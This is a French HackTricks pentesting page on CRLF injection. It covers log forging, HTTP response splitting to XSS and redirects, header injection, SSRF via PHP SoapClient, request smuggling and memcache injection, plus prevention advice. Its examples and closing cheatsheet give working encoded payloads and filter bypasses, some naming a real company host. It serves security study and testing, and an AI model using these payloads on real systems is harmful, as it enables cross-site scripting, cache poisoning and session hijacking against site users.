18 KiB
Injection CRLF (%0D%0A)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Vous travaillez dans une entreprise de cybersécurité ? Vous voulez voir votre entreprise annoncée dans HackTricks ? ou souhaitez-vous accéder à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT!
- Découvrez La Famille PEASS, notre collection d'NFTs exclusifs
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de hacking en soumettant des PR au dépôt hacktricks et au dépôt hacktricks-cloud.
Si vous êtes intéressé par une carrière dans le hacking et pirater l'impénétrable - nous recrutons ! (polonais courant écrit et parlé requis).
{% embed url="https://www.stmcyber.com/careers" %}
Qu'est-ce que le CRLF ?
Lorsqu'un navigateur envoie une requête à un serveur web, le serveur répond avec une réponse contenant à la fois les en-têtes de réponse HTTP et le contenu réel du site web, c'est-à-dire le corps de la réponse. Les en-têtes HTTP et la réponse HTML (le contenu du site web) sont séparés par une combinaison spécifique de caractères spéciaux, à savoir un retour chariot et un saut de ligne. Ils sont également connus sous le nom de CRLF.
Le serveur web utilise le CRLF pour comprendre quand un nouvel en-tête HTTP commence et un autre se termine. Le CRLF peut également indiquer à une application web ou à un utilisateur qu'une nouvelle ligne commence dans un fichier ou dans un bloc de texte. Les caractères CRLF sont un message standard HTTP/1.1, donc utilisés par tout type de serveur web, y compris Apache, Microsoft IIS et tous les autres.
De https://www.netsparker.com/blog/web-security/crlf-http-header/#
Qu'est-ce que la vulnérabilité d'injection CRLF ?
Dans une attaque exploitant une vulnérabilité d'injection CRLF, l'attaquant insère à la fois les caractères de retour chariot et de saut de ligne dans les entrées utilisateur pour tromper le serveur, l'application web ou l'utilisateur en leur faisant croire qu'un objet est terminé et qu'un autre a commencé. Ainsi, les séquences CRLF ne sont pas des caractères malveillants, cependant, elles peuvent être utilisées à des fins malveillantes, pour le fractionnement de réponse HTTP, etc.
Injection CRLF dans les applications web
Dans les applications web, une injection CRLF peut avoir des impacts graves, selon ce que l'application fait avec les éléments individuels. Les impacts peuvent aller de la divulgation d'informations à l'exécution de code, une vulnérabilité directe affectant la sécurité de l'application web. En fait, une attaque par injection CRLF peut avoir des répercussions très sérieuses sur une application web, même si elle n'a jamais été répertoriée dans le Top 10 de l'OWASP. Par exemple, il est également possible de manipuler des fichiers journaux dans un panneau d'administration comme expliqué dans l'exemple ci-dessous.
Un exemple d'injection CRLF dans un fichier journal
Imaginez un fichier journal dans un panneau d'administration avec le motif de flux de sortie IP - Heure - Chemin visité, comme ci-dessous :
123.123.123.123 - 08:15 - /index.php?page=home
Si un attaquant peut injecter les caractères CRLF dans la requête HTTP, il peut modifier le flux de sortie et falsifier les entrées de journal. Il peut changer la réponse de l'application web en quelque chose comme ce qui suit :
/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
Les %0d et %0a sont les formes encodées en URL de CR et LF. Par conséquent, les entrées de journal ressembleraient à ceci après que l'attaquant ait inséré ces caractères et que l'application les affiche :
IP - Heure - Chemin visité
123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
En exploitant une vulnérabilité d'injection CRLF, l'attaquant peut falsifier des entrées dans le fichier de journalisation pour dissimuler ses propres actions malveillantes. L'attaquant procède littéralement à un détournement de page et modifie la réponse. Par exemple, imaginez un scénario où l'attaquant a le mot de passe administrateur et exécute le paramètre restrictedaction, qui ne peut être utilisé que par un administrateur.
Le problème est que si l'administrateur remarque qu'une IP inconnue a utilisé le paramètre restrictedaction, il se rendra compte que quelque chose ne va pas. Cependant, puisqu'il semble maintenant que la commande a été émise par le localhost (et donc probablement par quelqu'un qui a accès au serveur, comme un administrateur), cela ne paraît pas suspect.
Toute la partie de la requête commençant par %0d%0a sera traitée par le serveur comme un seul paramètre. Après cela, il y a un autre & avec le paramètre restricted action qui sera analysé par le serveur comme un autre paramètre. En effet, cela reviendrait à la même requête que :
/index.php?page=home&restrictedaction=edit
Séparation de réponse HTTP
Description
Étant donné que l'en-tête d'une réponse HTTP et son corps sont séparés par des caractères CRLF, un attaquant peut tenter de les injecter. Une combinaison de CRLFCRLF indiquera au navigateur que l'en-tête se termine et que le corps commence. Cela signifie qu'il est maintenant capable d'écrire des données à l'intérieur du corps de la réponse où le code html est stocké. Cela peut conduire à une vulnérabilité de type Cross-site Scripting.
Un exemple de Séparation de réponse HTTP menant à XSS
Imaginez une application qui définit un en-tête personnalisé, par exemple :
X-Your-Name: Bob
La valeur de l'en-tête est définie via un paramètre get appelé "name". Si aucun encodage d'URL n'est en place et que la valeur est directement reflétée dans l'en-tête, il pourrait être possible pour un attaquant d'insérer la combinaison mentionnée de CRLFCRLF pour indiquer au navigateur que le corps de la requête commence. De cette manière, il peut insérer des données telles qu'une charge utile XSS, par exemple :
?name=Bob%0d%0a%0d%0a<script>alert(document.domain)</script>
L'exemple ci-dessus affichera une fenêtre d'alerte dans le contexte du domaine attaqué.
Un exemple de HTTP Response Splitting menant à une redirection
{% embed url="https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62" %}
Naviguer vers :
/%0d%0aLocation:%20http://myweb.com
Et le serveur répond avec l'en-tête :
Location: http://myweb.com
Autre exemple : (de https://www.acunetix.com/websitesecurity/crlf-injection/)
http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
Dans le chemin de l'URL
Vous pouvez envoyer le payload dans le chemin de l'URL pour contrôler la réponse du serveur :
http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
{% embed url="https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md" %}
Injection de l'en-tête HTTP
Description
En exploitant une injection CRLF, un attaquant peut également insérer des en-têtes HTTP qui pourraient être utilisés pour défaire des mécanismes de sécurité tels que le filtre XSS d'un navigateur ou la politique de même origine (same-origin-policy). Cela permet à l'attaquant d'obtenir des informations sensibles comme des jetons CSRF. Il peut également définir des cookies qui pourraient être exploités en connectant la victime au compte de l'attaquant ou en exploitant des vulnérabilités XSS (cross-site scripting) autrement inexploitables.
Un exemple d'injection d'en-tête HTTP pour extraire des données sensibles
Si un attaquant peut injecter les en-têtes HTTP qui activent CORS (Cross Origin Resource Sharing), il peut utiliser JavaScript pour accéder à des ressources qui sont autrement protégées par la SOP (Same Origin Policy), qui empêche les sites de différentes origines d'accéder les uns aux autres.
Nouvelle requête HTTP dans SSRF
En abusant de l'injection CRLF, vous pouvez créer une nouvelle requête HTTP et l'injecter.
Un bon exemple peut être réalisé en utilisant le gadget de désérialisation SoapClient en PHP. Cette classe est vulnérable au CRLF à l'intérieur du paramètre user_agent, permettant d'insérer de nouveaux en-têtes et contenu de corps. Cependant, vous pouvez même être capable d'exploiter cette vulnérabilité pour injecter une nouvelle requête HTTP :
$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);
$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);
#Put a nc listening in port 9090
$client->__soapCall("test", []);
Injection d'en-tête pour le Request Smuggling
Vous pouvez injecter des en-têtes essentiels pour garantir que le back-end maintient la connexion ouverte après avoir répondu à la demande initiale :
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1
Ensuite, spécifiez une deuxième requête. Ici, vous avez un smuggling de requête classique avec des en-têtes/corps supplémentaires ajoutés par le serveur après l'injection. Voici deux des nombreuses options pour l'exploitation inter-utilisateurs.
Spécifier un préfixe malveillant pour empoisonner soit la requête du prochain utilisateur, soit un cache web :
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1
Ou concevoir notre préfixe pour le combiner avec les déchets suivants et créer une deuxième requête complète afin de déclencher un empoisonnement de la file d'attente des réponses.
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1
Pour plus d'informations sur cette technique et les problèmes potentiels, consultez la source originale.
Injection Memcache
Memcache est un système de stockage clé-valeur qui utilise un protocole en texte clair. Plus d'infos dans :
{% content-ref url="../network-services-pentesting/11211-memcache/" %} 11211-memcache {% endcontent-ref %}
Si une plateforme prend des données d'une requête HTTP et les utilise sans les assainir pour effectuer des requêtes vers un serveur memcache, un attaquant pourrait abuser de ce comportement pour injecter de nouvelles commandes memcache.
Par exemple, dans la vulnérabilité originellement découverte, les clés de cache étaient utilisées pour retourner l'IP et le port auxquels un utilisateur devrait se connecter, et les attaquants étaient capables d'injecter des commandes memcache qui allaient empoisonner le cache pour envoyer les détails des victimes (noms d'utilisateur et mots de passe inclus) vers les serveurs de l'attaquant :
De plus, les chercheurs ont également découvert qu'ils pouvaient désynchroniser les réponses memcache pour envoyer l'IP et les ports de l'attaquant aux utilisateurs dont l'email n'était pas connu de l'attaquant :
Pour l'information complète, lisez le rapport original
Impacts de la vulnérabilité d'injection CRLF
L'impact des injections CRLF varie et inclut également tous les impacts du Cross-site Scripting jusqu'à la divulgation d'informations. Cela peut également désactiver certaines restrictions de sécurité comme les filtres XSS et la politique de même origine dans les navigateurs des victimes, les rendant vulnérables aux attaques malveillantes.
Comment prévenir les injections CRLF / en-têtes HTTP dans les applications web
La meilleure technique de prévention est de ne pas utiliser directement les entrées des utilisateurs dans les en-têtes de réponse. Si cela n'est pas possible, vous devriez toujours utiliser une fonction pour encoder les caractères spéciaux CRLF. Une autre bonne pratique de sécurité des applications web est de mettre à jour votre langage de programmation vers une version qui n'autorise pas l'injection de CR et LF dans les fonctions qui définissent les en-têtes HTTP.
CHEATSHEET
1. HTTP Response Splitting
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)
2. CRLF chained with Open Redirect
• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
• /google.com/%2F..%0D%0AHeader-Test:test2
• /%0d%0aLocation:%20http://example.com
3. CRLF Injection to XSS
• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
4. Filter Bypass
• %E5%98%8A = %0A = \u560a
• %E5%98%8D = %0D = \u560d
• %E5%98%BE = %3E = \u563e (>)
• %E5%98%BC = %3C = \u563c (<)
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test
Outils Automatiques
Liste de Détection par Force Brute
Références
- https://www.acunetix.com/websitesecurity/crlf-injection/
- https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning
Si vous êtes intéressé par une carrière en hacking et à hacker l'inviolable - nous recrutons ! (polonais courant écrit et parlé requis).
{% embed url="https://www.stmcyber.com/careers" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Vous travaillez dans une entreprise de cybersécurité ? Vous voulez voir votre entreprise annoncée dans HackTricks ? ou souhaitez-vous accéder à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT!
- Découvrez La Famille PEASS, notre collection d'NFTs exclusifs
- Obtenez le merchandising officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de hacking en soumettant des PR au dépôt hacktricks et au dépôt hacktricks-cloud.